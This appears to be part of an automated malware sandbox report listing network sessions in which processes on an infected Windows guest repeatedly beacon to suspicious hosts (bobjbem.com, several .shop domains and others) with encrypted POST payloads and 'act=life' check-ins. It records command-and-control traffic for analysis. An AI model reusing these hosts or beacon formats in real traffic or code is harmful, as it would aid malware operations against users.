Feb 5, 2024 11:00:52.965637922 CET	112	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 38 39 b0 8b Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vu89sRoFq*fX
Feb 5, 2024 11:00:53.730516911 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:00:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50079	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:53.150544882 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:53.397532940 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50080	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:53.915039062 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:54.160125971 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50081	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:54.572415113 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:54.811296940 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50082	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:55.175610065 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:55.419998884 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50083	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:55.795275927 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:56.035814047 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50084	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:56.389554024 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:56.635258913 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50085	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:56.985667944 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:57.232712984 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	50086	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:57.590857029 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:57.829423904 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	50087	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:58.365423918 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:58.612495899 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	50088	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:59.009526968 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:59.253715038 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	50089	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:59.501688004 CET	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qduhipdaqvysxd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 308 Host: selebration17io.io
Feb 5, 2024 11:00:59.501728058 CET	308	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 fa c9 3f fc Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO?mm^<q!I5"ii#6\qH3"v9]'9Mm'p( mlAO/I`+hy[55D8Jl@b9$k~_
Feb 5, 2024 11:00:59.755955935 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	50090	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:59.608921051 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:59.847223043 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	50091	187.211.34.223	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:59.768595934 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mnbsjyphxbipvsc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 314 Host: sjyey.com
Feb 5, 2024 11:00:59.768632889 CET	314	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 4b 09 bd b6 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vuKM]EhFCJ!Y,)M cW;0)C\\?l}T8" Al"eY_9]\$&ym}EPUlsD'c+
Feb 5, 2024 11:01:00.325383902 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:01:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	50092	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:01:00.209124088 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:01:00.452636957 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:01:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	50093	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:01:00.809206963 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:01:01.047998905 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:01:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	50094	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:01:01.401164055 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:01:01.644099951 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:01:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	104.21.94.2	443	7096	C:\Users\user\AppData\Local\Temp\7CB9.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 09:57:31 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: resergvearyinitiani.shop
2024-02-05 09:57:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-02-05 09:57:31 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qdrgghaft09o0sg5bqpjkm3tgf; expires=Fri, 31-May-2024 03:44:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J9xBX7jWKSxl0R4TxIvlk0FaJXNJrTXixCahKzp8vvYfkOr9wkAqaJFUKEoj4E7G5gExdOJNrOlZ6u84qcSrs5O5jfDNEaEpTikHfET%2Fja%2FWUq1wbH%2FAooHwnl0kivb9RgHdvmn5PaDP3fw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 850a4a258be34533-ATL alt-svc: h3=":443"; ma=86400
2024-02-05 09:57:31 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-02-05 09:57:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	104.21.80.171	443	7096	C:\Users\user\AppData\Local\Temp\7CB9.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 09:57:32 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gemcreedarticulateod.shop
2024-02-05 09:57:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-02-05 09:57:32 UTC	812	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=42udrmj0g8vfr501fm93jjgv86; expires=Fri, 31-May-2024 03:44:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JeuaPGwFSicM5cc1GXC5aEfOsVWVlwog%2FZxFbvpldFqtBkl20gFCGsKgyEP8rsfijsp%2F0jVdnVvT%2F2UiLzjAE2HxfEE2xb%2FyynI%2BspSZs3ku9oOHT1XDINkgx9gL1bXcXOMMPBPFXIQ02wUw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 850a4a2d496bb0a9-ATL alt-svc: h3=":443"; ma=86400
2024-02-05 09:57:32 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-02-05 09:57:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	172.67.213.168	443	7096	C:\Users\user\AppData\Local\Temp\7CB9.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 09:57:33 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: secretionsuitcasenioise.shop
2024-02-05 09:57:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-02-05 09:57:33 UTC	814	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mt7dio9moju6ga3dangio1ua9i; expires=Fri, 31-May-2024 03:44:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=k8ucvKoxPOOWWJkAiAbHZWQUrQUleJmbK%2FOTbakUoEAspRmWmvKeynNjOvmpe434wlYvskk1VQ1mHYflx2tkLmEorsKR6a5YkTO5Kl%2FSJr6z%2BJ4HoMnDCiH2VB0rVIvLrSSKCEEydrIi8Wta%2F8Ko"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 850a4a340f92b036-ATL alt-svc: h3=":443"; ma=86400
2024-02-05 09:57:33 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-02-05 09:57:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	104.21.58.31	443	7096	C:\Users\user\AppData\Local\Temp\7CB9.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 09:57:34 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: claimconcessionrebe.shop
2024-02-05 09:57:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-02-05 09:57:35 UTC	818	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=virmnfnakq0fdjcsvi8qo75vmf; expires=Fri, 31-May-2024 03:44:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CsspGtmuut3I%2FnaKEOY0PK2C2yjJREkG5Eum%2FUFQBkIt1MiAlEk2oTSHk2lRqs29kP8AQPJftfRm7p0iuxa%2FaQUJ%2BAGcFyQb65%2FTIsFkoaqHhXBJsFjOzLE7yxk1YV1go3AoU%2FdSj9%2FE2VE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 850a4a3b1ad44511-ATL alt-svc: h3=":443"; ma=86400
2024-02-05 09:57:35 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-02-05 09:57:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	104.21.83.220	443	7096	C:\Users\user\AppData\Local\Temp\7CB9.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-05 09:57:35 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: liabilityarrangemenyit.shop
2024-02-05 09:57:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-02-05 09:57:35 UTC	565	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5v3FCaqm88vOJM9ns0MX%2FTUI%2FgvrmHISV19Wzge9vdpF4UTypOkRS0Y0N7DiTuaZO9NGPoPnxXNRgQmPu1TTOhxe9tKD94w7%2FckMYXO2Gjis1Eaw78vIT9Rz3S6resvRbNDuQ9LwPOM%2BIkFVK8E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 850a4a41ef5c7be1-ATL
